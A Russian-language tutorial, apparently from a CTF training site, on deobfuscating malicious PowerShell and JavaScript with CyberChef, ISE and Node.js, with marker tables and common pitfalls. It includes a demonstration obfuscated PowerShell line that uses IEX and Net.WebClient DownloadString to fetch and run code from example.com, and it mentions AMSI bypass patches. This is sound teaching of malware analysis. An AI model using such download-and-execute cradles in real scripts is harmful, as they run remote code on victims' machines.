
На последнем Jeopardy-CTF три задания из категории forensics свелись к одному сценарию: вот обфусцированный скрипт — найди, что он делает. Из двухсот участников флаг достали меньше тридцати. Не потому что задача была архисложной — большинство застревали на первом слое base64 и не понимали, куда копать дальше. Деобфускация вредоносных скриптов — навык, который на CTF нужен почти в каждом соревновании, а при разборе реальных инцидентов — ежедневно. Ниже — пошаговый разбор: что делать, когда перед тобой PowerShell-каша из -EncodedCommand и gzip или JavaScript с тремя вложенными eval и массивом String.fromCharCode на четыреста символов.
Прежде чем препарировать пейлоады, стоит залезть в голову тому, кто их запутывал. Обфускация в malware — техника уклонения от обнаружения. MITRE ATT&CK классифицирует её как Obfuscated Files or Information (T1027, Defense Evasion) с подтехниками: Command Obfuscation (T1027.010) для запутывания команд и Encrypted/Encoded File (T1027.013) для кодирования или шифрования payload.
Цель атакующего — не сделать код «нечитаемым навсегда», а проскочить антивирус и затянуть ручной анализ. Автор malware прекрасно понимает, что аналитик разберёт скрипт — вопрос, сколько времени он на это убьёт. В CTF авторы заданий моделируют реальные техники: те же base64-цепочки, те же IEX-инъекции, те же eval-конвейеры. По данным исследования PowerPeeler (arxiv.org, 2024), из 1 736 669 проанализированных вредоносных PowerShell-сэмплов практически все были обфусцированы — обфускация стала второй по распространённости техникой атак после самого PowerShell.
Деобфускация — обратный процесс: Deobfuscate/Decode Files or Information (T1140, Defense Evasion). Задача — снять слои один за другим, пока не проявится исходная логика. По сути, распаковка матрёшки.
Зачем атакующему всё это в реальном мире? Обфусцированный скрипт — первая стадия: он скачивает или разворачивает из памяти основной payload (C2-агент, стилер, шифровальщик). По данным Unit42 Palo Alto Networks, многослойную обфускацию активно используют семейства Agent Tesla, XLoader и Remcos RAT. В CTF конечная цель проще — найти флаг, — но техники идентичны.
PowerShell (T1059.001, Execution) — любимец атакующих на Windows. Предустановлен с 2008 года, исполняет код в памяти, нативно поддерживает base64 через параметр -EncodedCommand. Ниже — пошаговый разбор типичного CTF-задания.
Параметр -EncodedCommand (сокращённо -enc, -e) принимает base64-закодированную строку в кодировке UTF-16LE. Ключевой момент — именно UTF-16LE, не UTF-8. Декодируешь обычным base64 без указания кодировки — получаешь символы с нулевыми байтами между ними. Характерный мусор, по которому сразу видно ошибку.
В CyberChef рецепт: From Base64 → Decode text (UTF-16LE (1200)). В PowerShell ISE: [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded)). В Linux через CLI: echo <blob> | base64 -d | iconv -f UTF-16LE -t UTF-8.
После декодирования первого слоя часто обнаруживается следующий — ещё один base64 внутри IEX, gzip-поток или комбинация. Матрёшка, как и обещал.
Invoke-Expression (алиас iex) — точка перехода от «данные» к «код». Видишь IEX($something) или $something | IEX — нужно получить значение $something, не выполняя его.
Безопасный способ: заменить IEX на Write-Output или Out-File. Вместо выполнения payload просто выведется текст, который IEX собирался исполнить. Kyle Cucci (securityliterate.com) описывает эту технику подробно: скопировать скрипт в PowerShell ISE, убрать вызов powershell.exe и начальные параметры, заменить IEX на вывод и запустить.
Для работы в изолированной VM есть более грубый метод — выполнить скрипт целиком и затем дампнуть все переменные командой Get-Variable. Переменные, объявленные в скрипте, будут содержать промежуточные и финальные результаты деобфускации. Write-Output $variable_name покажет полное содержимое конкретной переменной. Работает в большинстве случаев — но только в VM, которую не жалко снести.
Частый паттерн — New-Object IO.StreamReader(New-Object IO.Compression.GZipStream(...)). Данные сжаты gzip перед кодированием в base64. В CyberChef добавь шаг Gunzip после From Base64. Если порядок неочевиден, кнопка «Magic» попробует определить кодировку автоматически.
После снятия внешних слоёв остаётся PowerShell с обфусцированными именами переменных и разбитыми строками. Типичный приём — конкатенация: $a = 'Down'; $b = 'load'; $c = 'String'; $d = $a + $b + $c — просто DownloadString. Другой вариант — [char] cast: [char]104+[char]116+[char]116+[char]112 собирается в строку http.
Что искать в деобфусцированном скрипте: URL для скачивания следующей стадии (флаг может быть в URL или в файле), проверки окружения через WMI (детект VMware, VirtualBox, KVM — техника System Checks, T1497.001), команды для persistence или exfiltration:
# Обфусцированный вариант (пример для демонстрации концепции)
$o='Net.Web';$c='Client';$m='Down'+'load'+'String'
$u=[char]104+[char]116+[char]116+[char]112
IEX ((New-Object ($o+$c)).$m("$u`://example.com/flag.txt"))
# После деобфускации:
# (New-Object Net.WebClient).DownloadString("http://example.com/flag.txt")
Маркеры финального payload: .Invoke(), Net.WebClient, DownloadFile, DownloadString, Start-Process. Видишь конкатенацию — собери строку вручную или через Write-Output в ISE.
JavaScript (T1059.007, Execution) попадается в CTF-заданиях категорий web и forensics — через HTA-файлы, dropper'ы в документах, вредоносные веб-страницы.
Принцип тот же, что с IEX → Write-Output. Видишь eval(something) — замени eval на console.log и запусти в Node.js REPL или браузерной консоли изолированной VM. Вместо выполнения код выведет то, что eval собирался исполнить. Для многослойных eval-цепочек повторяй замену: каждый console.log выдаёт следующий слой, где снова eval. Продолжай, пока не получишь читаемый код. Бывает три-четыре итерации — терпение и VM.
Паттерн String.fromCharCode(72,101,108,108,111) = "Hello". В CTF массивы бывают на сотни элементов. Ручной разбор — бессмыслица. CyberChef с рецептом From Charcode (разделитель — запятая, base 10) справится за секунду. Или в Node.js REPL выполни выражение напрямую — String.fromCharCode безопасен, конвертирует числа в символы без побочных эффектов.
Hex-вариант: \x48\x65\x6c\x6c\x6f = "Hello". В CyberChef: Find / Replace (убрать \x) → From Hex.
// Работа с eval-цепочкой в Node.js REPL (пример для демонстрации)
// Исходный обфусцированный фрагмент:
var _0x = ['\x68\x74\x74\x70', '\x3a\x2f\x2f', '\x66\x6c\x61\x67'];
// В REPL поэлементно:
// > '\x68\x74\x74\x70' → 'http'
// > '\x3a\x2f\x2f' → '://'
// > '\x66\x6c\x61\x67' → 'flag'
// > _0x.join('') → 'http://flag'
// Собираем строку по частям без выполнения логики скрипта
Скрипты, начинающиеся с eval(function(p,a,c,k,e,r) или eval(function(p,a,c,k,e,d) — Dean Edwards JavaScript Packer. В конце — словарь из pipe-разделённых строк, подставляемых обратно в шаблон. Распаковка: замени eval на console.log — packer выдаст распакованный код. Одна замена — и готово.
JJEncode превращает JavaScript в набор символов $._, $.$, конструкторов и скобок. AAEncode использует японские эмотиконы (゚ω゚ノ, ゚Θ゚). Выглядит как магия, но оба формата — самоисполняемый JS, который при запуске восстанавливает оригинал.
Деобфускация JJEncode/AAEncode: в Node.js REPL замени финальный вызов (обычно () в конце всей конструкции) на присваивание переменной, затем вызови .toString(). Альтернатива — специализированные онлайн-декодеры в изолированном окружении.
CyberChef — первый инструмент, который открываешь для ручного анализа вредоносных скриптов на CTF. Его сила — в цепочках операций (recipes), которые применяются последовательно к данным.
Стандартная цепочка для -EncodedCommand: From Base64 → Decode text (UTF-16LE). Если после декодирования виден ещё один base64-blob — добавляй From Base64 → Gunzip (или Raw Inflate, если gzip-заголовок отсутствует). Функция Magic попробует автоматически подобрать следующий шаг — полезно, когда формат сжатия неочевиден.
Для XOR-шифрования: если данные после base64-декодирования выглядят как мусор — ищи ключ XOR в коде скрипта (часто однобайтовый) и применяй операцию XOR в CyberChef с этим ключом. XOR Brute Force перебирает однобайтовые ключи и показывает результаты — ищи среди них читаемый текст.
Для hex-строк: Find / Replace (паттерн \\x, замена пустая) → From Hex. Для String.fromCharCode: From Charcode (Delimiter: Comma, Base: 10). Для Unicode escape (\u0041): Unescape Unicode Characters.
Для вложенных слоёв кнопка «Bake» выполняет текущую цепочку. Результат можно скопировать обратно в Input и добавить следующий шаг. Операция Fork разбивает входные данные по разделителю и применяет рецепт к каждому фрагменту — спасает, когда в скрипте несколько закодированных блоков.
CyberChef работает со статическими данными — он не исполняет код. Если обфускация зависит от control flow (условия, циклы, динамическая генерация ключей) — без интерпретатора не обойтись. Исследование PowerPeeler показало, что статические методы (регулярные выражения, AST-анализ без контекста выполнения) дают заметно менее точные результаты по сравнению с динамическим подходом. Их инструмент достиг 95% корректности деобфускации на датасете из 4264 обфусцированных скриптов — статические инструменты отстали ощутимо. Для PowerShell динамический анализ — это ISE или PSDecode, для JS — Node.js REPL.
Допустим, в задании forensics дали PCAP-файл с подозрительным HTTP-трафиком. Или .doc с макросом. Вот сквозной workflow от артефакта до флага.
Фаза 1 — извлечение. Из PCAP: фильтр в Wireshark по http.request или tcp contains "powershell", экспорт payload. Из .doc: olevba (из пакета oletools) извлечёт VBA-макрос, в котором обычно лежит PowerShell-строка в Shell() или WScript.Shell.Run.
Фаза 2 — определение типа. Быстрый чек-лист:
| Маркер в коде | Тип обфускации | Первый шаг |
|---|---|---|
powershell -enc / -EncodedCommand |
Base64 (UTF-16LE) | CyberChef: From Base64 → Decode UTF-16LE |
IEX / Invoke-Expression |
IEX-цепочка | Заменить IEX на Write-Output |
[Convert]::FromBase64String |
Вложенный base64 | Декодировать вложенный blob |
IO.Compression.GZipStream |
Gzip-сжатие | CyberChef: Gunzip |
eval( в JS |
Eval-цепочка | Заменить eval на console.log |
String.fromCharCode |
Числовое кодирование | CyberChef: From Charcode |
eval(function(p,a,c,k,e |
Dean Edwards packer | Заменить eval на console.log |
゚ω゚ или $._ |
AAEncode / JJEncode | Node.js: присвоить переменной + toString() |
Фаза 3 — послойное снятие. Применяй соответствующую технику. Записывай каждый промежуточный результат — в CTF флаг может быть на любом слое, не только на последнем. Я на этом горел: снимал все слои до конца, а флаг лежал на втором.
Фаза 4 — анализ финала. Ищи: URL и IP-адреса, строки формата flag{...} / CTF{...}, команды работы с файловой системой (Get-Content, fs.readFileSync), сетевые вызовы (Net.WebClient, XMLHttpRequest, fetch), ещё один слой base64 или XOR.
| Инструмент | Назначение | Когда использовать |
|---|---|---|
| CyberChef | Статическая деобфускация, цепочки преобразований | Первый инструмент для любого payload |
| PowerShell ISE | Динамическая деобфускация PS, дамп переменных | Когда статический анализ не справляется |
| PSDecode | Автоматический перехват IEX | Быстрая проверка простых PS-payload |
| Node.js REPL | Пошаговая деобфускация JS | Eval-цепочки, JJEncode, AAEncode |
| olevba (oletools) | Извлечение VBA-макросов | .doc/.xls с макросами |
| dnSpy / ILSpy | Декомпиляция .NET | Когда PS-скрипт загружает .NET-сборку |
Несколько граблей, на которые стабильно наступают на CTF. Я видел каждую из них не раз.
Кодировка UTF-16LE. -EncodedCommand = UTF-16LE. Декодируешь как UTF-8 — получаешь символы с нулевыми байтами между ними. Характерный признак: каждый второй символ — \x00. В CyberChef обязательно добавь Decode text (UTF-16LE) после From Base64. Это ошибка номер один у новичков — и самая обидная, потому что чинится за секунду.
Частичное выполнение без изоляции. Не запускай скрипт целиком в рабочей системе. Даже в VM — сначала замени IEX/eval на вывод. В CTF payload обычно безвреден, но привычка работать безопасно критична для реальных инцидентов. Потренируешься на кошках — не обожжёшься на тигре.
Ложные слои и dead code. Авторы CTF-заданий добавляют мусорный код и «мёртвые» ветки, которые никогда не исполняются. Если после деобфускации видишь огромный блок — проверь, какие ветки реально достижимы. Ищи условия, которые всегда true или всегда false. Это сознательная ловушка для тех, кто идёт по коду линейно.
AMSI-обходы в PowerShell. В реальных malware и продвинутых CTF-заданиях скрипты содержат патч AMSI (Anti-Malware Scan Interface) перед основным payload. По данным PowerPeeler, это распространённый паттерн. Обращения к amsi.dll или AmsiUtils — не часть payload, а подготовительный шаг для обхода антивирусного сканирования. Не трать на него время, если ищешь флаг — он там не живёт.
XOR после base64. Данные после base64-декодирования выглядят как мусор — возможно, XOR-шифрование. Ищи в коде ключ (часто однобайтовый или короткая строка) и применяй XOR / XOR Brute Force в CyberChef. Однобайтовый XOR перебирается за секунды — 256 вариантов, глазами видно, где появился читаемый текст.
Несколько параллельных blob'ов. Иногда скрипт содержит не один, а два-три закодированных блока, каждый со своим назначением: один — загрузчик, другой — конфигурация C2, третий — persistence-модуль. Не останавливайся после первого успешного декодирования — проверь весь скрипт на наличие других blob'ов.
Деобфускация вредоносных скриптов — навык, который нарабатывается исключительно практикой. Можно прочитать десять статей о FromBase64String и IEX, но пока руками не снимешь четыре слоя obfuscation с реального payload, паттерны не закрепятся. По моим наблюдениям за CTF-командами, участники, которые стабильно решают forensics-задания, имеют за плечами не «знание теории обфускации», а 20–30 разобранных сэмплов. Каждый следующий payload разбирается быстрее — техники повторяются, base64-gzip-IEX покрывает больше половины CTF-заданий с PowerShell.
Что меня удивляет — насколько мало базовые техники обфускации изменились за последние годы. Появляются новые обфускаторы и упаковщики, но фундамент остаётся: кодирование → сжатие → динамическое исполнение строки. JS-мир чуть разнообразнее за счёт JJEncode/AAEncode и packer'ов, но eval-цепочки — абсолютная классика. Подозреваю, что в ближайшие год-два LLM начнут генерировать полиморфную обфускацию, которую статические инструменты не покроют, — и тогда навык ручного анализа с пониманием логики скрипта станет ещё ценнее, чем умение нажать кнопку в автоматическом деобфускаторе. Если хочешь не разовый writeup, а системную прокачку от веб-уязвимостей до полной цепочки атаки с лабами и ментором — на WAPT эту линейку проходят целиком, включая разбор payload'ов.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...